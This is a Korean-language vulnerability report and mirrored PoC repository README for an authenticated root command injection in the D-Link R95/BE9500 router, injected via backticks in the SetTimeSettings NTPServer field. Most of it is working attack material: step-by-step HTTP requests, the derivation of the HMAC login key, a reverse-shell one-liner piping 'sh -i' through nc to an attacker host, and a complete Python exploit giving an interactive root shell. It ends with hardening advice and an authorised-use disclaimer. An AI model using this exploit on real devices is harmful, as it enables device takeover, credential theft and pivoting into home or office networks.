
D-Link R95/BE9500 DHMAPI SetTimeSettings의 인증된 명령 주입 PoC로, NTPServer 백틱 주입을 통해 root RCE를 달성하며, 전체 익스플로잇 스크립트를 포함합니다.
D-Link R95 BE9500 Wi-Fi 7 스마트 라우터(펌웨어 버전 BE9500_1.00.16)는 SetTimeSettings 요청을 처리할 때 DHMAPI(SOAP over HTTPS) 인터페이스에 명령 주입 취약점이 존재합니다. 사용자가 제어하는 <NTPServer> 필드는 셸 메타문자에 대한 어떠한 정제나 검증도 없이 구성 데이터베이스에 저장됩니다. 이후 구성이 UCI(ntpclient.@ntpserver[0].hostname)로 동기화될 때, 취약한 백엔드 서비스가 큰따옴표로 감싼 셸 명령을 구성하여 system()과 유사한 호출로 실행합니다. <NTPServer> 값에 백틱(```)을 주입함으로써 공격자는 명령 치환을 달성할 수 있습니다. 즉, 셸은 연결된 명령을 실행하기 전에 주입된 내용을 평가하므로, root(uid=0) 권한으로 임의 명령을 실행할 수 있습니다.
이 공격은 인증된 접근(관리자 계정 Admin으로 테스트됨)을 통해 획득한 유효한 웹 관리 세션(sid)을 필요로 합니다. 이 취약점은 장치의 취약한 기본 자격 증명이나 잠재적인 인증 우회 문제로 인해 더욱 증폭되어, 실제 공격 표면을 크게 확장시킵니다.
인증된 공격자는 root 권한으로 임의 명령을 실행할 수 있으며, 이는 민감한 파일 읽기(예: /etc/rg_config/admin 암호문, 전체 구성 백업 덤프), 지속적 백도어 설치, 리버스 셸 구축, 내부 네트워크로의 피벗을 통한 측면 이동 공격 등 장치의 완전한 장악으로 이어집니다.
이 취약점은 DHMAPI SOAP 인터페이스를 구현하는 웹 관리 백엔드 바이너리 /bin/ssi(root로 실행됨)에 존재합니다.
오염 소스(Taint source) — SetTimeSettings 핸들러(ssi, 펌웨어 1.01B06의 오프셋 0x6bd84에 위치한 함수):
<NTPServer> 필드를 스택 버퍼로 추출하며, 길이는 0x3f(63바이트)로 제한됩니다. 이는 버퍼 크기 제한일 뿐, 보안 검사가 아닙니다.time.value.NTPServer에 그대로 저장합니다. — 어느 시점에도 셸 메타문자에 대한 필터링이나 이스케이프가 수행되지 않습니다.오염 싱크(Taint sink) — UCI로의 구성 동기화. ssi는 구성 값을 셸 명령 문자열에 연결하여 system()과 유사한 호출로 실행함으로써 동기화합니다. 바이너리에서 발견된 내장 형식 문자열은 다음과 같습니다:
uci set %s="%s" > /dev/null
값이 큰따옴표로 감싸져 있기 때문에, 셸은 연결된 명령을 실행하기 전에 값 내부의 백틱(`) / $()에 대해 명령 치환을 수행합니다. ssi가 root로 실행되므로 주입된 명령은 root 권한으로 실행됩니다.
타이밍 증거는 평가가 요청 처리 경로 내에서 동기적으로 발생함을 확인시켜 줍니다. `sleep 10`을 주입하면 HTTP 응답이 약 10초 지연됩니다. 오염된 값은 추가로 UCI(ntpclient.@ntpserver[0].hostname)에 지속되며, 이후 /bin/start_ntpclient.sh(ntpclient -s -h $HOSTNAME)에 의해 따옴표 없이 소비되는데, 이는 2차적인 강화 격차입니다.
악용 제약 조건(검증됨):
모든 DHMAPI 요청은 다음을 포함해야 합니다:
Cookie: uid=<session cookie> (로그인에서 획득)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction 헤더, 그리고 User-Agent와 Referer(UA/Referer 누락 시 HTTP 400/500 발생)ts는 밀리초 타임스탬프이며, 장치는 신선도를 검증하지 않으므로 고정 값을 재사용할 수 있습니다privkey 도출:
Login / Action=request(정적 키 문자열 withoutloginkey로 서명됨)는 Challenge, Cookie, PublicKey, SaltHash를 반환합니다e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (SaltHash가 없을 경우 평문 비밀번호)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login은 <LoginResult>success</LoginResult>를 반환합니다. 이후 요청은 privkey로 서명된 를 사용합니다POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
예상 결과: <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
관찰된 응답 본문:
uid=0(root) gid=0(root)

<NTPServer>`sleep 10`</NTPServer>
HTTP 응답이 약 10초 지연됩니다. 정상적인 NTP 서버 이름은 즉시 반환됩니다.
63바이트 필드 제한은 스크립트를 base64 조각으로 작성하여 우회합니다:
SetTimeSettings 요청:
`echo -n <b64-fragment> >> /tmp/x``base64 -d /tmp/x > /tmp/rs.rs`/tmp/rs.rs 내용(busybox ash의 경우 파이프 주위에 필수 공백이 있음에 유의):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f`sh /tmp/rs.rs`결과: 공격자의 리스너에서 대화형 root 셸(~ #, BusyBox ash)이 수신됩니다.
EXP:
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py interactive shell (commands run as root on the device)
# python r95_exp.py "id" run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests
HOST, PORT = "192.168.2.15", 18443 # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000" # timestamp freshness is not validated by the device
OUT = "/www/e" # command output dropped into the web root
s = requests.Session(); s.verify = False
privkey = cookie = None
def auth(key, action):
return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS
def post(action, inner, key=None, ck=None):
body = ('<?xml version="1.0" encoding="utf-8"?>'
'<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
'<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
"Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}
if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)
def login():
global privkey, cookie
r = post("Login", "<Action>request</Action><Username>%s</Username>"
"<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
if not challenge:
print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
e = PASSWORD
if salthash:
e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
salthash.encode(), 5000, dklen=32)).decode()
privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
"<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
if "success" not in r2.text.lower():
print("[!] login failed:", r2.text[:200]); sys.exit(1)
print("[+] login OK, cookie=%s" % cookie)
def inject(cmd):
"""Execute one shell command via the NTPServer backtick injection (no output channel)"""
if "&" in cmd:
print("[!] command must not contain '&'"); return False
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
if r.status_code == 401:
print("[*] session expired, re-authenticating..."); login()
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
return r.status_code == 200
def run(cmd):
"""Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
cmd = cmd.strip()
if not cmd: return
direct = "%s>%s" % (cmd, OUT)
if len(direct) <= 54:
ok = inject(direct)
else:
b64 = base64.b64encode(cmd.encode()).decode()
inject("rm -f /tmp/x")
for i in range(0, len(b64), 40):
if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
print("[!] fragment injection failed"); return
inject("base64 -d /tmp/x>/tmp/x.sh")
ok = inject("sh /tmp/x.sh>%s" % OUT)
if not ok:
print("[!] injection request failed"); return
time.sleep(1)
r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}, timeout=15)
out = r.text.rstrip("\n")
print(out if out else "(no output)")
if __name__ == "__main__":
login()
if len(sys.argv) > 1:
run(" ".join(sys.argv[1:])); sys.exit(0)
print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
while True:
try: c = input("r95# ")
except (EOFError, KeyboardInterrupt): break
if c.strip() in ("exit", "quit"): break
run(c)

ssi는 NTPServer 필드(및 동일 핸들러의 형제 필드)를 전혀 정제하지 않고 구성 데이터베이스에 저장합니다;system() 스타일의 셸 문자열 연결을 사용하여, 셸이 값 내의 백틱 / $()를 평가하게 만듭니다;ssi가 root로 실행되므로 주입된 명령은 최고 권한으로 실행됩니다.동일한 코드 패턴은 이 펌웨어에서 최소 7개의 추가 인증된 명령 주입 지점(TZLocation, DeviceName, DDNS Hostname/Username, 클라이언트 NickName, 그리고 SetNetworkSettings를 통한 2차 주입)을 만들어내며, 모두 uid=0(root) 실행으로 검증되었습니다.
[A-Za-z0-9.-])을 적용합니다;system() 문자열 연결을 libuci API(ssi에 이미 링크되어 있음) 또는 셸을 사용하지 않는 exec* 계열 호출로 대체합니다;/bin/start_ntpclient.sh에서 $HOSTNAME 변수를 따옴표로 감쌉니다;이 저장소는 CVE-2026-93958(D-Link R95 / BE9500 DHMAPI 명령 주입) 취약점 PoC의 중계 배포 미러입니다(기술 분석은 상단의 업스트림 원본 보고서 D-Link R95 BE9500.md 참조). 내용은 업스트림 공개 PoC 저장소에서 미러링되었으며, 보관 및 배포 목적으로만 사용됩니다. PoC는 보안 연구, 취약점 검증 및 승인된 테스트용으로만 사용하십시오. 승인되지 않은 대상에 사용하지 마십시오.
SetTimeSettings 요청의 <NTPServer> 필드/bin/ssi핵심 원리: /bin/ssi의 SetTimeSettings 처리 함수(오프셋 0x6bd84)는 <NTPServer> 필드(길이 상한 0x3f=63바이트이지만 셸 메타문자 필터링이 전혀 없음)를 구성 라이브러리에 그대로 저장합니다. 구성이 UCI로 동기화될 때 ssi는 값을 uci set %s="%s" > /dev/null과 같은 셸 문자열에 연결하고 system()으로 실행합니다. 값이 큰따옴표로 감싸져 있으므로 셸은 백틱 / $()에 대해 명령 치환을 수행하며, ssi가 root로 실행되므로 주입된 명령은 최고 권한으로 실행됩니다.
D-Link R95 BE9500.md —— 업스트림 전체 기술 분석(4단계 재현, 인증 메커니즘, EXP 소스 코드, 강화 권장 사항 포함)
r95_exp.py —— 업스트림 보고서에서 추출한 전체 Python EXP(requests 구현)
image-*.png —— 업스트림 보고서 첨부 이미지(5장)
requestspython r95_exp.py # 대화형 root 셸(명령이 장치에서 root로 실행됨)
python r95_exp.py "id" # 단일 명령 실행
⚠️ 주의: 주입 필드 길이 상한은 약 63바이트이며, 명령에
&가 포함되어서는 안 됩니다. EXP는 ≤54바이트 명령은 직접 주입하고, 더 긴 명령은 자동으로 base64 조각으로 나누어/tmp/x에 기록한 후 디코드하여 실행하며, 출력은 웹 루트 디렉터리/www/e에 기록된 후 HTTP를 통해 검색됩니다.
이 PoC는 교육, 보안 연구 및 승인된 테스트용으로만 사용되며, 자체 소유하거나 명시적으로 승인받은 장치에서만 실행할 수 있습니다. 악용 시 장치에서 root 권한으로 임의 명령이 실행되므로, 폐기 가능한 실험실 환경에서 테스트하십시오.
LICENSE 참조).| 제약 조건 | 검증된 결과 |
|---|
| 필드 길이 | ≤ 63바이트 허용; 60바이트 OK, 80바이트 거부(HTTP 400) |
& 문자 | 포함되어서는 안 됨(연결된 명령줄을 깨뜨림) |
| 주입 구문 | 백틱 `cmd` 검증됨; $(cmd)도 동일하게 작동할 것으로 예상됨 |
| 실행 컨텍스트 | uid=0(root) gid=0(root) |
| 출력 채널 | 직접 에코 없음; 웹 루트로 리다이렉트(> /www/<file>)하고 HTTP GET으로 검색 |
Cookie: uid=<step-1 Cookie>